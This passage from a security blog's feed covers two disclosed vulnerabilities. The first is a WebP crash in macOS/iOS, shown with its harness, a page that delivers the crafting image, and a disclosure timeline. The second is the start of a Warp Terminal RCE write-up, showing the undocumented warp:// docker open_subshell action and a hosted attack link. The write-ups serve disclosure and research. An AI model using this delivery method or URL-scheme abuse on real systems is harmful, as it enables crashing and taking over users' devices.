&lt;span class="line"&gt;&lt;span style="color:#78DCE8;font-weight:600"&gt;int&lt;/span&gt;&lt;span style="color:#82AAFF"&gt; main&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;(&lt;/span&gt;&lt;span style="color:#78DCE8;font-weight:600"&gt;int&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt; argc&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;,&lt;/span&gt;&lt;span style="color:#78DCE8;font-weight:600"&gt; char&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt; **&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;argv&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;)&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#78DCE8"&gt; NSData&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt; *&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;data &lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;=&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt; [&lt;/span&gt;&lt;span style="color:#78DCE8"&gt;NSData&lt;/span&gt;&lt;span style="color:#82AAFF"&gt; dataWithContentsOfFile&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;:&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;@&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;(&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;argv&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;[&lt;/span&gt;&lt;span style="color:#F4B66A"&gt;1&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;])];&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#78DCE8"&gt; NSImage&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt; *&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;img &lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;=&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt; [[&lt;/span&gt;&lt;span style="color:#78DCE8"&gt;NSImage&lt;/span&gt;&lt;span style="color:#82AAFF"&gt; alloc&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;]&lt;/span&gt;&lt;span style="color:#82AAFF"&gt; initWithData&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;:&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;data&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;];&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#DEDEDE"&gt; CGImageRef cgImg &lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;=&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt; [&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;img &lt;/span&gt;&lt;span style="color:#82AAFF"&gt;CGImageForProposedRect&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;:&lt;/span&gt;&lt;span style="color:#C792EA;font-weight:600"&gt;nil&lt;/span&gt;&lt;span style="color:#82AAFF"&gt; context&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;:&lt;/span&gt;&lt;span style="color:#C792EA;font-weight:600"&gt;nil&lt;/span&gt;&lt;span style="color:#82AAFF"&gt; hints&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;:&lt;/span&gt;&lt;span style="color:#C792EA;font-weight:600"&gt;nil&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;];&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#C792EA;font-weight:600"&gt; if&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt; (&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;cgImg&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;)&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#78DCE8;font-weight:600"&gt; size_t&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt; w &lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;=&lt;/span&gt;&lt;span style="color:#82AAFF"&gt; CGImageGetWidth&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;(&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;cgImg&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;),&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt; h &lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;=&lt;/span&gt;&lt;span style="color:#82AAFF"&gt; CGImageGetHeight&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;(&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;cgImg&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#DEDEDE"&gt; CGColorSpaceRef cs &lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;=&lt;/span&gt;&lt;span style="color:#82AAFF"&gt; CGColorSpaceCreateDeviceRGB&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;();&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#DEDEDE"&gt; CGContextRef ctx &lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;=&lt;/span&gt;&lt;span style="color:#82AAFF"&gt; CGBitmapContextCreate&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;(&lt;/span&gt;&lt;span style="color:#F4B66A"&gt;0&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;,&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt; w&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;,&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt; h&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;,&lt;/span&gt;&lt;span style="color:#F4B66A"&gt; 8&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;,&lt;/span&gt;&lt;span style="color:#F4B66A"&gt; 0&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;,&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt; cs&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;,&lt;/span&gt;&lt;span style="color:#F4B66A"&gt; 1&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#82AAFF"&gt; CGRenderingStateSetAllowsAcceleration&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;(&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#82AAFF"&gt; CGContextGetRenderingState&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;(&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;ctx&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;),&lt;/span&gt;&lt;span style="color:#C792EA;font-weight:600"&gt; false&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#82AAFF"&gt; CGContextDrawImage&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;(&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;ctx&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;,&lt;/span&gt;&lt;span style="color:#82AAFF"&gt; CGRectMake&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;(&lt;/span&gt;&lt;span style="color:#F4B66A"&gt;0&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;,&lt;/span&gt;&lt;span style="color:#F4B66A"&gt; 0&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;,&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt; w&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;,&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt; h&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;),&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt; cgImg&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#B4B4B4"&gt; }&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#B4B4B4"&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Compiling the harness:&lt;/p&gt;
&lt;div class="code-panel"&gt;
&lt;div class="code-scroll" tabindex="0" role="region" aria-label="Code listing"&gt;&lt;pre class="shiki"&gt;&lt;code data-lang="shellscript"&gt;&lt;span class="line"&gt;&lt;span style="color:#82AAFF"&gt;clang&lt;/span&gt;&lt;span style="color:#B4D88A"&gt; harness.m&lt;/span&gt;&lt;span style="color:#B4D88A"&gt; -framework&lt;/span&gt;&lt;span style="color:#B4D88A"&gt; ImageIO&lt;/span&gt;&lt;span style="color:#B4D88A"&gt; -framework&lt;/span&gt;&lt;span style="color:#B4D88A"&gt; Foundation&lt;/span&gt;&lt;span style="color:#B4D88A"&gt; -framework&lt;/span&gt;&lt;span style="color:#B4D88A"&gt; CoreGraphics&lt;/span&gt;&lt;span style="color:#B4D88A"&gt; -framework&lt;/span&gt;&lt;span style="color:#B4D88A"&gt; AppKit&lt;/span&gt;&lt;span style="color:#B4D88A"&gt; -o&lt;/span&gt;&lt;span style="color:#B4D88A"&gt; harness&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#82AAFF"&gt;./harness&lt;/span&gt;&lt;span style="color:#B4D88A"&gt; poc.webp&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;For remote delivery, you can just embed the image in a page:&lt;/p&gt;
&lt;div class="code-panel"&gt;
&lt;div class="code-scroll" tabindex="0" role="region" aria-label="Code listing"&gt;&lt;pre class="shiki"&gt;&lt;code data-lang="html"&gt;&lt;span class="line"&gt;&lt;span style="color:#B4B4B4"&gt;&amp;#x3C;&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;html&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#B4B4B4"&gt; &amp;#x3C;&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;body&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;&gt;&amp;#x3C;&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;img src&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;=&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;"&lt;/span&gt;&lt;span style="color:#B4D88A"&gt;poc.webp&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;"&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;&gt;&amp;#x3C;/&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;body&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#B4B4B4"&gt;&amp;#x3C;/&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;html&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Any browser on a vulnerable macOS or iOS device will crash when it tries to render the page. I may have crashlooped my iPhone during testing at least once. Oops!&lt;/p&gt;
&lt;h2 id="disclosure-timeline"&gt;Disclosure Timeline&lt;a class="heading-anchor" href="#disclosure-timeline" aria-label="Link to Disclosure Timeline"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Date&lt;/th&gt;
&lt;th&gt;Event&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Dec 11, 2021&lt;/td&gt;
&lt;td&gt;Case Opened with ZDI&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;February 24, 2022&lt;/td&gt;
&lt;td&gt;Case reviewed, sent to Apple&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;May 26, 2022&lt;/td&gt;
&lt;td&gt;Fixed in macOS 12.4 / iOS 15.5&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Tested on macOS Monterey 12.0.1 and iOS 15.1. Anything before macOS 12.4 or iOS 15.5 is vulnerable.&lt;/p&gt;
&lt;h2 id="references"&gt;References&lt;a class="heading-anchor" href="#references" aria-label="Link to References"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://github.com/xpcmdshell/CVE-2022-26711" target="_blank" rel="noopener noreferrer"&gt;PoC Repository&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://support.apple.com/en-us/102871" target="_blank" rel="noopener noreferrer"&gt;Apple Security Advisory&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.zerodayinitiative.com/advisories/ZDI-22-792/" target="_blank" rel="noopener noreferrer"&gt;ZDI-22-792&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://developers.google.com/speed/webp/docs/riff_container" target="_blank" rel="noopener noreferrer"&gt;WebP Container Specification&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://datatracker.ietf.org/doc/rfc9649/" target="_blank" rel="noopener noreferrer"&gt;RFC 9649: WebP Image Format&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>CVE-2024-41997: RCE in Warp Terminal</title><link>https://0day.gg/blog/warp-terminal-rce/</link><guid>https://0day.gg/blog/warp-terminal-rce/</guid><pubDate>Fri, 20 Dec 2024 10:04:55 -0800</pubDate><description>&lt;h2 id="motivation"&gt;Motivation&lt;a class="heading-anchor" href="#motivation" aria-label="Link to Motivation"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Earlier this year, I had decided to take a look at &lt;a href="https://www.warp.dev/" target="_blank" rel="noopener noreferrer"&gt;Warp Terminal&lt;/a&gt;. Warp promises to bring the power of an AI assistant to your conventional terminal workflow. Privacy concerns aside, feature rich terminal emulators always bring with them a host of excellent attack surface. Finding a way to achieve remote code execution via a terminal emulator is a fantastic (read: flashy) way to achieve initial access during a Red Team operation, and the installation population (power users) would likely overlap with targets who have valuable internal access. After digging in, I was able to walk away with a very effective bug.&lt;/p&gt;
&lt;p&gt;In this post we&amp;rsquo;ll break down choosing attack surface, identifying the bug, and methods used for exploitation.&lt;/p&gt;
&lt;h2 id="attack-surface"&gt;Attack Surface&lt;a class="heading-anchor" href="#attack-surface" aria-label="Link to Attack Surface"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;h3 id="url-schemes"&gt;URL Schemes&lt;a class="heading-anchor" href="#url-schemes" aria-label="Link to URL Schemes"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;One of my first stops in identifying attack surface for a new target is to simply consult the &lt;a href="https://docs.warp.dev/" target="_blank" rel="noopener noreferrer"&gt;documentation&lt;/a&gt;. One of the first features that caught my eye was the &lt;a href="https://docs.warp.dev/features/uri-scheme" target="_blank" rel="noopener noreferrer"&gt;custom URL scheme&lt;/a&gt; which allows the user to invoke a small set of features in Warp by clicking on a link or button containing special parameters.&lt;/p&gt;
&lt;p&gt;Indeed listing the registered URI schemes on the host shows Warp:&lt;/p&gt;
&lt;div class="code-panel"&gt;
&lt;div class="code-scroll" tabindex="0" role="region" aria-label="Code listing"&gt;&lt;pre class="shiki"&gt;&lt;code data-lang="text"&gt;&lt;span class="line"&gt;&lt;span&gt;$ /System/Library/Frameworks/CoreServices.framework/Versions/A/Frameworks/LaunchServices.framework/Versions/A/Support/lsregister -dump | grep -B3 "bindings:.*:"&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span&gt;[SNIP]&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span&gt;--&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span&gt;bundle: Warp (0x15d8)&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span&gt;flags: url-type (0000000000000040)&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span&gt;roles: Viewer (0000000000000002)&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span&gt;bindings: warp:&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span&gt;--&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span&gt;bundle: Warp (0x1600)&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span&gt;flags: url-type (0000000000000040)&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span&gt;roles: Viewer (0000000000000002)&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span&gt;bindings: warp:&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span&gt;--&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;The docs list 3 main functions which can be invoked through the URL scheme:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Open a new Window&lt;/li&gt;
&lt;li&gt;Open a new Tab&lt;/li&gt;
&lt;li&gt;Open Launch Configuration&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The &amp;ldquo;Launch Configuration&amp;rdquo; feature immediately stuck out to me, as it sounded like a way to potentially remotely deliver configuration parameters to the user via a clickable link. I began reverse engineering the app in hopes of understanding what a Launch Configuration supported and how it could potentially be exploited for code execution. While I didn&amp;rsquo;t end up finding a bug in that functionality, I stumbled into something else in the URL scheme handler which &lt;em&gt;was&lt;/em&gt; exploitable.&lt;/p&gt;
&lt;h2 id="bug-discovery"&gt;Bug Discovery&lt;a class="heading-anchor" href="#bug-discovery" aria-label="Link to Bug Discovery"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;h3 id="disassembly"&gt;Disassembly&lt;a class="heading-anchor" href="#disassembly" aria-label="Link to Disassembly"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;The app is written primarily in Rust, so the disassembly can be a bit messy. The handler entrypoint for the custom &lt;code&gt;warp://&lt;/code&gt; url scheme lies in &lt;code&gt;warp::uri::handle_incoming_uri&lt;/code&gt;. Within, the incoming URL is marshalled into a &lt;code&gt;warp::uri::Action&lt;/code&gt; via the &lt;code&gt;FromStr&lt;/code&gt; trait. In this &lt;code&gt;FromStr&lt;/code&gt; implementation, we can identify branches for the supported actions.
&lt;a class="image-link" data-zoom href="https://0day.gg/images/warp/uri-compare1.png"&gt;&lt;img src="https://0day.gg/images/warp/uri-compare1.png" alt="Expected Branches" loading="lazy" decoding="async" width="1652" height="404"&gt;&lt;/a&gt;
The comparisons are broken up and optimized, but we can see clearly that it has conditionals for the &lt;code&gt;/new_window&lt;/code&gt; and &lt;code&gt;/new_tab&lt;/code&gt; actions. However, we find an additional branch for an action not mentioned on the docs page from earlier:
&lt;a class="image-link" data-zoom href="https://0day.gg/images/warp/uri-compare2.png"&gt;&lt;img src="https://0day.gg/images/warp/uri-compare2.png" alt="Unexpected Branch" loading="lazy" decoding="async" width="940" height="534"&gt;&lt;/a&gt;
&lt;/p&gt;
&lt;p&gt;There&amp;rsquo;s a hardcoded case for &lt;code&gt;/docker/open_subshell&lt;/code&gt;. Now that&amp;rsquo;s interesting.&lt;/p&gt;
&lt;h3 id="warp-docker-extension"&gt;Warp Docker Extension&lt;a class="heading-anchor" href="#warp-docker-extension" aria-label="Link to Warp Docker Extension"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Crawling back through the documentation, we can reasonably guess that this must be related to the &lt;a href="https://docs.warp.dev/features/integrations-and-plugins#docker" target="_blank" rel="noopener noreferrer"&gt;&lt;code&gt;Warp Docker Extension&lt;/code&gt;&lt;/a&gt;. As the docs note:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;Warp’s Docker extension makes it more convenient to open Docker containers in Warp. With the extension, you can click to open any Docker container in a Warpified subshell, without manually running docker exec or typing out lengthy container IDs.&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;This makes sense. The user would click a button inside the Docker app to launch a shell for a given container inside Warp, and the parameters specifying which one would be passed in via the URL. Let&amp;rsquo;s try invoking this functionality ourselves and see how robust it is.&lt;/p&gt;
&lt;h3 id="testing-the-integration"&gt;Testing the Integration&lt;a class="heading-anchor" href="#testing-the-integration" aria-label="Link to Testing the Integration"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Let&amp;rsquo;s start by getting a dummy Docker container running to shell into:&lt;/p&gt;
&lt;div class="code-panel"&gt;
&lt;div class="code-scroll" tabindex="0" role="region" aria-label="Code listing"&gt;&lt;pre class="shiki"&gt;&lt;code data-lang="text"&gt;&lt;span class="line"&gt;&lt;span&gt;➜ ~ docker run -it ubuntu:latest /bin/bash&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;I&amp;rsquo;ll leave that running in the background. After testing a bit with the Docker extension and reading debug logs, we come to understand that the parameters we need to invoke &lt;code&gt;open_subshell&lt;/code&gt; look like so:
&lt;code&gt;warp://action/docker/open_subshell?container_id=d21d266c616a&amp;amp;shell=bash&amp;amp;user=root&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;The required parameters are &lt;code&gt;container_id&lt;/code&gt; and &lt;code&gt;shell&lt;/code&gt;. Notably, the &lt;code&gt;user&lt;/code&gt; parameter is optional. If not supplied, the shell will launch as the default user for the container.&lt;/p&gt;
&lt;p&gt;We can simulate the delivery scenario by embedding this URL in a webpage as a clickable link, and hosting it with python&amp;rsquo;s &lt;code&gt;http.server&lt;/code&gt; module.
&lt;a class="image-link" data-zoom href="https://0day.gg/images/warp/hosted.png"&gt;&lt;img src="https://0day.gg/images/warp/hosted.png" alt="Hosted Attack Page" loading="lazy" decoding="async" width="952" height="528"&gt;&lt;/a&gt;
&lt;/p&gt;
&lt;p&gt;Upon clicking the link, Warp receives the input and launches a subshell for us.
&lt;a class="image-link" data-zoom href="https://0day.gg/images/warp/test-launch.png"&gt;&lt;img src="https://0day.gg/images/warp/test-launch.png" alt="Testing Docker Integration" loading="lazy" decoding="async" width="1736" height="2112"&gt;&lt;/a&gt;
&lt;/p&gt;
&lt;p&gt;Notably, the informational output contains the Docker command used to launch the subshell. This is confirmed by using ProcessMonitor to catch the Endpoint Security event:&lt;/p&gt;
&lt;div class="code-panel"&gt;
&lt;div class="code-scroll" tabindex="0" role="region" aria-label="Code listing"&gt;&lt;pre class="shiki"&gt;&lt;code data-lang="json"&gt;&lt;span class="line"&gt;&lt;span style="color:#B4B4B4"&gt;{&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#B4B4B4"&gt; "&lt;/span&gt;&lt;span style="color:#78DCE8"&gt;event&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;"&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;:&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt; "&lt;/span&gt;&lt;span style="color:#B4D88A"&gt;ES_EVENT_TYPE_NOTIFY_EXEC&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;"&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#B4B4B4"&gt; "&lt;/span&gt;&lt;span style="color:#78DCE8"&gt;timestamp&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;"&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;:&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt; "&lt;/span&gt;&lt;span style="color:#B4D88A"&gt;2024-12-28 22:06:34 +0000&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;"&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#B4B4B4"&gt; "&lt;/span&gt;&lt;span style="color:#78DCE8"&gt;process&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;"&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;:&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#B4B4B4"&gt; "&lt;/span&gt;&lt;span style="color:#78DCE8"&gt;pid&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;"&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;:&lt;/span&gt;&lt;span style="color:#F4B66A"&gt; 99228&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#B4B4B4"&gt; "&lt;/span&gt;&lt;span style="color:#78DCE8"&gt;name&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;"&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;:&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt; "&lt;/span&gt;&lt;span style="color:#B4D88A"&gt;docker&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;"&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#B4B4B4"&gt; "&lt;/span&gt;&lt;span style="color:#78DCE8"&gt;path&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;"&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;:&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt; "&lt;/span&gt;&lt;span style="color:#B4D88A"&gt;/Applications/Docker.app/Contents/Resources/bin/docker&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;"&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#B4B4B4"&gt; "&lt;/span&gt;&lt;span style="color:#78DCE8"&gt;uid&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;"&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;:&lt;/span&gt;&lt;span style="color:#F4B66A"&gt; 501&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#B4B4B4"&gt; "&lt;/span&gt;&lt;span style="color:#78DCE8"&gt;architecture&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;"&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;:&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt; "&lt;/span&gt;&lt;span style="color:#B4D88A"&gt;Apple Silicon&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;"&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#B4B4B4"&gt; "&lt;/span&gt;&lt;span style="color:#78DCE8"&gt;arguments&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;"&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;:&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt; [&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#B4B4B4"&gt; "&lt;/span&gt;&lt;span style="color:#B4D88A"&gt;docker&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;"&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#B4B4B4"&gt; "&lt;/span&gt;&lt;span style="color:#B4D88A"&gt;exec&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;"&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#B4B4B4"&gt; "&lt;/span&gt;&lt;span style="color:#B4D88A"&gt;-it&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;"&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#B4B4B4"&gt; "&lt;/span&gt;&lt;span style="color:#B4D88A"&gt;d21d266c616a&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;"&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#B4B4B4"&gt; "&lt;/span&gt;&lt;span style="color:#B4D88A"&gt;bash&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;"&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#B4B4B4"&gt; ],&lt;/span&gt;&lt;/span&gt;
